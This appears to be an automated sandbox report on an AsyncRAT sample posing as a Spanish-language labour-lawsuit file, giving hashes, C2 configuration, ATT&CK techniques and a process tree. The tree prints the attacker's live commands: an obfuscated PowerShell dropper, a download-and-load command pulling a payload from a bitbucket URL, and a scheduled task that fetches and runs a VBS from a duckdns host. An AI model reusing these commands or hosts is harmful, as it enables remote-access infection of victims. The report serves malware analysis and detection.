asyncrat | 5dbd0331888e0ebb32973f77a94a26e68b8563e68a0c66062b96eab5fdd1a35e

Analysis

max time kernel
148s
max time network
149s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
30/08/2024, 16:47

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General

Target

2 DEMNADA LABORAL- JUZGADO 02 CIVIL DEL CIRCUITO RAMA JUDICIAL/1 DEMANADA LABORAL.exe
Size

3.1MB
MD5

b841d408448f2a07f308ced1589e7673
SHA1

f5b5095c0ed69d42110df6d39810d12b1fa32a1e
SHA256

69a90665113bd73b30360d87f7f6ed2c789a90a67f3b6e86474e21273a64f699
SHA512

a689734048109ab7bec9491bbb7781686c19c7885166b3ca2975e2f49e956fcc388cd8ca85a4e5a8bf9efe6056f1e0d80197b7f521d4f0d4cadb10ba9ef1fa93
SSDEEP

49152:pvFg5qg9BtIAHE3SM4ahx6LK2SamuZob+tCjNrv8:Jm5qGBHBLRKuZfkjNrv8

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://bitbucket.org/556ghfhgfhgf/fdsfdsf/downloads/dllhope.txt

Extracted

Family

asyncrat

Version

| CRACKED BY https://t.me/xworm_v2

Botnet

Default

enviasept.duckdns.org:3030

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2768	2800	schtasks.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2660	2800	schtasks.exe	40

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	1716	powershell.exe
14	1716	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1788	powershell.exe
1716	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
12	bitbucket.org
13	bitbucket.org
14	bitbucket.org

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2500 set thread context of 2000	2500	1 DEMANADA LABORAL.exe	30
PID 2000 set thread context of 2628	2000	cmd.exe	33

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1 DEMANADA LABORAL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2768	schtasks.exe
2660	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2500	1 DEMANADA LABORAL.exe
2500	1 DEMANADA LABORAL.exe
2500	1 DEMANADA LABORAL.exe
2500	1 DEMANADA LABORAL.exe
2000	cmd.exe
2000	cmd.exe
1788	powershell.exe
2628	MSBuild.exe
1716	powershell.exe
2628	MSBuild.exe
2628	MSBuild.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2500	1 DEMANADA LABORAL.exe
2000	cmd.exe
2000	cmd.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2628	MSBuild.exe
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	1716	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2500 wrote to memory of 2000	2500	1 DEMANADA LABORAL.exe	30
PID 2500 wrote to memory of 2000	2500	1 DEMANADA LABORAL.exe	30
PID 2500 wrote to memory of 2000	2500	1 DEMANADA LABORAL.exe	30
PID 2500 wrote to memory of 2000	2500	1 DEMANADA LABORAL.exe	30
PID 2500 wrote to memory of 2000	2500	1 DEMANADA LABORAL.exe	30
PID 2000 wrote to memory of 2628	2000	cmd.exe	33
PID 2000 wrote to memory of 2628	2000	cmd.exe	33
PID 2000 wrote to memory of 2628	2000	cmd.exe	33
PID 2000 wrote to memory of 2628	2000	cmd.exe	33
PID 2000 wrote to memory of 2628	2000	cmd.exe	33
PID 2000 wrote to memory of 2628	2000	cmd.exe	33
PID 2628 wrote to memory of 768	2628	MSBuild.exe	35
PID 2628 wrote to memory of 768	2628	MSBuild.exe	35
PID 2628 wrote to memory of 768	2628	MSBuild.exe	35
PID 2628 wrote to memory of 768	2628	MSBuild.exe	35
PID 768 wrote to memory of 1788	768	WScript.exe	36
PID 768 wrote to memory of 1788	768	WScript.exe	36
PID 768 wrote to memory of 1788	768	WScript.exe	36
PID 768 wrote to memory of 1788	768	WScript.exe	36
PID 1788 wrote to memory of 1716	1788	powershell.exe	38
PID 1788 wrote to memory of 1716	1788	powershell.exe	38
PID 1788 wrote to memory of 1716	1788	powershell.exe	38
PID 1788 wrote to memory of 1716	1788	powershell.exe	38
PID 2628 wrote to memory of 2796	2628	MSBuild.exe	39
PID 2628 wrote to memory of 2796	2628	MSBuild.exe	39
PID 2628 wrote to memory of 2796	2628	MSBuild.exe	39
PID 2628 wrote to memory of 2796	2628	MSBuild.exe	39
PID 2628 wrote to memory of 2656	2628	MSBuild.exe	43
PID 2628 wrote to memory of 2656	2628	MSBuild.exe	43
PID 2628 wrote to memory of 2656	2628	MSBuild.exe	43
PID 2628 wrote to memory of 2656	2628	MSBuild.exe	43

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2 DEMNADA LABORAL- JUZGADO 02 CIVIL DEL CIRCUITO RAMA JUDICIAL\1 DEMANADA LABORAL.exe
"C:\Users\Admin\AppData\Local\Temp\2 DEMNADA LABORAL- JUZGADO 02 CIVIL DEL CIRCUITO RAMA JUDICIAL\1 DEMANADA LABORAL.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\SysWOW64\cmd.exe
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\riwmef.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:768
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bi▒GU▒YwBs▒HY▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒Gs▒YgB1▒G8▒aQ▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒G4▒YQBn▒HI▒b▒▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwBi▒Gk▒d▒Bi▒HU▒YwBr▒GU▒d▒▒u▒G8▒cgBn▒C8▒NQ▒1▒DY▒ZwBo▒GY▒a▒Bn▒GY▒a▒Bn▒GY▒LwBm▒GQ▒cwBm▒GQ▒cwBm▒C8▒Z▒Bv▒Hc▒bgBs▒G8▒YQBk▒HM▒LwBk▒Gw▒b▒Bo▒G8▒c▒Bl▒C4▒d▒B4▒HQ▒Jw▒p▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒YQBn▒HI▒b▒▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒QwBs▒GE▒cwBz▒Ew▒aQBi▒HI▒YQBy▒Hk▒Mw▒u▒EM▒b▒Bh▒HM▒cw▒x▒Cc▒KQ▒u▒Ec▒ZQB0▒E0▒ZQB0▒Gg▒bwBk▒Cg▒JwBa▒Hg▒SwBI▒Ec▒Jw▒p▒C4▒SQBu▒HY▒bwBr▒GU▒K▒▒k▒G4▒dQBs▒Gw▒L▒▒g▒Fs▒bwBi▒Go▒ZQBj▒HQ▒WwBd▒F0▒I▒▒o▒Cc▒d▒B4▒HQ▒LgBz▒HM▒bwBj▒G0▒ZQBy▒C8▒cwBk▒GE▒bwBs▒G4▒dwBv▒GQ▒LwBy▒GY▒aQBk▒HY▒cgBl▒HM▒LwB0▒Gc▒ZwBn▒HI▒YQBj▒HM▒ZQBk▒C8▒ZwBy▒G8▒LgB0▒GU▒awBj▒HU▒YgB0▒Gk▒Yg▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Gs▒YgB1▒G8▒aQ▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBm▒GQ▒ZwBo▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒Jw▒s▒C▒▒J▒Bi▒GU▒YwBs▒HY▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\riwmef.vbs');powershell -command $KByHL;
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1788
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$beclv = '0';$kbuoi = 'C:\Users\Admin\AppData\Local\Temp\riwmef.vbs';[Byte[]] $nagrl = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://bitbucket.org/556ghfhgfhgf/fdsfdsf/downloads/dllhope.txt'));[system.AppDomain]::CurrentDomain.Load($nagrl).GetType('ClassLibrary3.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.ssocmer/sdaolnwod/rfidvres/tgggracsed/gro.tekcubtib//:sptth' , $kbuoi , '_____fdgh__________________-------------', $beclv, '1', 'Roda' ));"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1716
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lmsftv.wsf"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2796
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fybscp.wsf"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2656

C:\Windows\system32\schtasks.exe
schtasks /create /sc MINUTE /mo 40 /tn "google actualizacion2024 Tas" /tr "\"%windir%\system32\WindowsPowershell\v1.0\powershell.exe\" -Windowstyle Hidden $a = wget 'http://sostenermio2024.duckdns.org/31agosto.vbs' -o C:\Windows\Temp\q.vbs;start-sleep 5;start-Process C:\Windows\Temp\q.vbs
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2768

C:\Windows\system32\schtasks.exe
schtasks /create /sc MINUTE /mo 40 /tn "google actualizacion2024 Tas" /tr "\"%windir%\system32\WindowsPowershell\v1.0\powershell.exe\" -Windowstyle Hidden $a = wget 'http://sostenermio2024.duckdns.org/31agosto.vbs' -o C:\Windows\Temp\q.vbs;start-sleep 5;start-Process C:\Windows\Temp\q.vbs
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab4C00.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarDF4D.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\af531b33

Filesize
780KB

MD5
5cc7800fabf041f4f6a02e2b5a4d5460

SHA1
411b5973f756b375d1f587a5fd69c27a9b754510

SHA256
ebf079a35687be6e9de0aad3adfb5a63f834ee93b6f7e5b7998b55fc75be1ee3

SHA512
0864e631c778c2c8622eaa24b9cbf0dc15342474bba71a0b77b9ff3f5dbc2951407d1a21f0f94e58b41f9837644860154499442f03175821c2aad9509ec46358

Download Submit
C:\Users\Admin\AppData\Local\Temp\lmsftv.wsf

Filesize
164KB

MD5
2e3704d10448cd561922b7561e6ec94c

SHA1
fd831fdcb2e0dd360b4765466d5384a1b3fa3ac1

SHA256
2b982915d800128a0149437f42684068a781e133ad607889f932fc9bec04b086

SHA512
fc8f204d28ed1494894008b7417885a5df8b5fb99c99f56cf9a8deee935334759576d7b2b840d1c8b004d3e4c9ad27fe0036b1b7a4d806c5666d5c1acebb9852

Download Submit
C:\Users\Admin\AppData\Local\Temp\riwmef.vbs

Filesize
11.3MB

MD5
4195393370dff560c647cea03c986705

SHA1
7fcbf81466c0dc1760205570c1248f80466da3f9

SHA256
7a82d66ac151f833b0b617777c883c9e02cf88d90b9394ec39ec6f80599e34e5

SHA512
2a74330dea0b751b7096fff9e08deee5122e66c6e5febb94dd97dfc5c3f9d51614f6eb6057c7d2bdec64f9d24e744871a3a050c6f129b77e2e6b845d0c6f4f91

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
af3a6ecde36e623fe383608b58e8995a

SHA1
cca2ee93a3153d8de2426b9c958883e500b42218

SHA256
cc337f84cc15a7b6d9f6c76e68a505dd105dd40d7d86176dbce58684e50731d7

SHA512
6433384a699d557c5bfde482adb29a90689db1460d832928bbf76fff5f3380b30eba43689d1a3624b2a26dc3100b1a0e5ad196c29d8e52f8fae95a27d04b6858

Download Submit
memory/2000-17-0x0000000077230000-0x00000000773D9000-memory.dmp

Filesize
1.7MB

Download
memory/2000-67-0x0000000074550000-0x00000000746C4000-memory.dmp

Filesize
1.5MB

Download
memory/2000-15-0x0000000074550000-0x00000000746C4000-memory.dmp

Filesize
1.5MB

Download
memory/2000-63-0x0000000074550000-0x00000000746C4000-memory.dmp

Filesize
1.5MB

Download
memory/2000-64-0x0000000074550000-0x00000000746C4000-memory.dmp

Filesize
1.5MB

Download
memory/2500-12-0x0000000000400000-0x0000000000711000-memory.dmp

Filesize
3.1MB

Download
memory/2500-9-0x0000000074550000-0x00000000746C4000-memory.dmp

Filesize
1.5MB

Download
memory/2500-14-0x00000000002D0000-0x00000000003DB000-memory.dmp

Filesize
1.0MB

Download
memory/2500-0-0x00000000002D0000-0x00000000003DB000-memory.dmp

Filesize
1.0MB

Download
memory/2500-13-0x000000004A600000-0x000000004A6EC000-memory.dmp

Filesize
944KB

Download
memory/2500-1-0x0000000074550000-0x00000000746C4000-memory.dmp

Filesize
1.5MB

Download
memory/2500-2-0x0000000077230000-0x00000000773D9000-memory.dmp

Filesize
1.7MB

Download
memory/2500-8-0x0000000074563000-0x0000000074565000-memory.dmp

Filesize
8KB

Download
memory/2500-10-0x0000000074550000-0x00000000746C4000-memory.dmp

Filesize
1.5MB

Download
memory/2628-68-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2628-88-0x00000000009B0000-0x00000000009C0000-memory.dmp

Filesize
64KB

Download
memory/2628-70-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/2628-66-0x00000000727B0000-0x0000000073812000-memory.dmp

Filesize
16.4MB

Download
memory/2628-69-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download